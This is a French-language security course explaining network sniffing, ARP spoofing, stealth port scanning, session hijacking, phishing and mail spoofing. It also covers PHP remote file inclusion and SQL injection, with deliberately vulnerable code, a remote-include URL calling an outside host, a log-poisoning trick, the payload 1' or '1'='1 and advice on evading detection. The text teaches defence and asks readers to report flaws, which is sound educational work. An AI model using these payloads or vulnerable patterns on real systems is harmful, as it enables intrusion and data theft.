Voici une tres courte liste d'informations qui circulent en clair sur le reseau :

On peut ainsi acceder aux informations que l'on a besoin, sans avoir a s'introduire dans le systeme... Il ne faut pas oublier non plus que beaucoup de gens utilisent le meme mot de passe partout.

Sur un hub ou en wifi il n'y a rien de special a faire. On peut aussi le faire sur un routeur ou une passerelle.

Dans le cas d'un switch, c'est un peu different. Il faut savoir que les switchs envoient en broadcast les paquets destines a une adresse mac qui n'est pas listee dans leur table ARP, en general (c'est souvent configurable). On peut se faire passer pour une autre machine durant les requetes de mises a jour d'adresse mac par le switch, et de jouer le role de pont ensuite pour ne pas couper la machine originelle du reseau (http://www.phenoelit.de/arpoc/index.html). Une technique plus facile a mettre en place est de submerger le switch avec des requetes d'ajout, comme la table du switch a une taille limitee, celui ci va finir par se comporter comme un hub. Cette technique cree une forte montee en charge du traffic. On peut aussi forger une requete ARP qui redefinit la passerelle par defaut du switch (http://naughty.monkey.org/~dugsong//dsniff/). Il y a enfin d'autres techniques de bases si l'on a un acces physique au switch (port de monitoring).

Etant donne que cette technique est passive, elle est assez difficile a detecter. Il est possible de voir si une carte du reseau est en mode promiscuous, car ces cartes repondent a des adresses mac qui n'existent pas sur le reseau. En forgeant une requete ARP avec une adresse mac de destination non pas en broadcast, mais avec une fausse adresse mac, une carte en mode promiscuous ne va pas la filtrer, et le kernel va y repondre quand meme. Cette technique ne marche pas si la machine en mode promiscuous ne possede pas d'IP, ou si cette machine n'est pas accessible avec des requetes ARP.

Dans le cas de spoofing ARP, un outil comme arpwatch qui logge toutes les requetes ARP suspectes le verra tout de suite.

Quoi qu'il en soit, la meilleure des solutions est quand meme de chiffrer ses communications (https, ssh, vpn...).

Les tout premiers scanners de ports bouclaient sur les ports pour tenter d'ouvrir une connexion. Cette technique est tres rapide avec des sockets non bloquantes, mais tres detectable dans les logs (connexion refused).

Le but ici est de ne pas ouvrir totalement une connexion pour ne pas apparaitre dans les logs. Lors de la demande d'ouverture de connexion, le client envoie un paquet SYN et attend la reponse SYN ACK du serveur, auquel il renvoie un ACK pour finaliser l'ouverture. Si le port est ferme, le serveur retourne un paquet RST. Pour ne pas finaliser l'ouverture, le client envoie un paquet RST au serveur. Les firewall de nos jours detectent les paquets SYN sur des ports non ouverts.

Les systemes repondent souvent a des FIN paquets sur un port ferme par un RST, alors qu'ils l'ignorent sur un port ouvert. Ceci est un bug de la stack IP et Windows n'est pas vulnerable (un oubli de bug ?), cette technique n'est donc pas tres fiable.

L'idee est de fragmenter le paquet IP pour que le paquet TCP qu'il contient, et qui contient la demande de connexion, soit decoupe en plusieurs paquets IP. Certains firewalls ne vont pas detecter la tentative de connection dans ce cas.

UDP etant sans connexion, les ports ouverts peuvent ne pas repondre aux connexions, et les ports fermes peuvent ne pas repondre non plus. Mais la plupart des systemes repondent avec un ICMP_PORT_UNREACH lors de l'envoi d'un paquet sur un port ferme. Mais cela n'est pas garanti, donc le scanning de port UDP est tres peu fiable.

Afin de ne pas se faire tracer, ou du moins rendre plus difficile la chose, si le port scanning a ete decouvert, il est interessant de noyer son IP parmis d'autres paquets ayant une autre adresse source. Rajouter beaucoup d'autres IP decouragera l'administrateur, mais cela prendra egalement plus de temps pour le scan.

Pour reduire le traffic sur le reseau du a un port scanning, on peut temporiser les tests sur les ports.

En augmentant le temps entre les scans, en noyant avec plusieurs IP et en melangeant les methodes, detecter de tels scans. Mais les ressources qu'il faut mettre en oeuvre pour les realises sont souvent excessives, et les autres scans peuvent etre plus ou moins bien decouverts. Apres il se pose la question de la reaction face a une telle attaque...

Ce type de spoofing arrive dans un reseau local ou plus generalement des qu'il est possible de sniffer la reponse de la machine attaquee, et ainsi les numeros de sequence et d'accuses sont connus. Dans ce cas il est possible de faire du vol de session (session hijacking). Il faut pour cela faire taire la machine spoofee, avec un Deni de Service (DoS).

Cette technique est ancienne est ne marche plus de nos jours. Elle consistait a deviner les numeros de sequence de paquets pour envoyer a l'aveugle les paquets. Dans les anciennes version de windows les numeros de sequence n'etaient pas aleatoires et cette technique etait donc possible, ce qui n'est plus le cas actuellement.

Le fishing utilise des failles de navigateurs pour spoofer des url (https://www.pаypal.com qui affichait dans la barre d'adresses https://www.paypal.com et qui, en réalité, pointait vers le domaine https://www.xn--pypal-4ve.com, ou

SMTP et NMTP sont des protocoles sans aucune protection, on peut envoyer un mail en se faisant passer pour n'importe qui. L'IP est stoquee dans le message, mais avec assez de proxies socks, de passerelles et autres, tracer l'auteur peut devenir assez difficile.

Voici deux des failles les plus repandues sur les sites. Ces failles sont des erreurs de conception, et les exploiter est un jeu d'enfant, et ne presente vraiment aucun interet. Ainsi si vous decouvrez des sites vulnerables, nous vous conseillons de mailer l'administrateur plutot que de jouer avec, car ces attaques sont tres visibles dans les logs. Nous vous les presentons dans ce cours afin que vous fassiez attention quand vous creez des sites, et pour qu'une fois encore vous vous rendiez compte qu'il ne faut jamais faire confiance a une entree utilisateur, et qu'il faut systematiquement verifier son contenu.

PHP propose une fonctionnalite pour inclure des fichiers textes ou php a l'interieur d'une page, apres les avoir interpretes. C'est la fonction include. Voici un petit exemple :

<?
  $contenu="intro.php");
  include("menu.php");
  include($contenu);
  include("footer.php");
?>
    

Cette fonction est souvent utilisee pour les menus, dans lesquels on passe en parametre GET la page a afficher. Et c'est la que certaines personnes font l'erreur d'inclure directement la page passee en parametre. Par exemple :

http://site.com/index.php?page=intro.php

dans index.php :
<?
  include($page);
?>
    

On peut ainsi faire http://site.com/index.php?page=http://www.bad.com/niark.txt, avec niark.txt contenant du code PHP (<? ?>) qui sera execute sur le serveur site.com, donc avec un system() le resultat peut etre grave. Si la personne verifie que le fichier existe, on ne pourra plus telecharger notre page a distance, mais en appelant http://site.com/<? phpinfo(); ?> cette ligne sera ajoutee dans les logs du serveur web, il suffira donc d'inclure le fichier de logs du serveur http pour executer n'importe quelle commande ajoutee de cette maniere.

Pour ne pas etre vulnerable, il faut utiliser un tableau associatif dont l'index est la variable passee en argument, ou faire avec des if pour inclure le fichier.

Cette faille est utilisee pour obtenir un acces a un site vulnerable necessitant une authentification. Voici par exemple un code vulnerable :

<?
$login = $_POST["login"];
$pass = $_POST["passwd"];

$query = "SELECT login from login where login='".$log."' and pass='".$pass."'";

$res = mysql_query($query);

if (!mysql_num_rows($res))
{
        echo "Acces denied";
        exit;
}

$line = mysql_fetch_array($res);
$login = $line[login];

echo "bonjour $login";
?>
    

En effet, si la personne met comme mot de passe, sans les crochets, [1' or '1'='1], la requete sera executee comme :

"SELECT login from login where login='foo' and pass='1' or '1'='1'";
    

Cette requete est toujours vraie, et elle retournera le premier champs de la table.

Il faut savoir que l'interpreteur PHP peut etre configure pour rajouter des slashes devant les caracteres speciaux, et empecher donc ce type d'attaque. Mais ce n'est pas le cas de l'ASP, du JSP et du perl.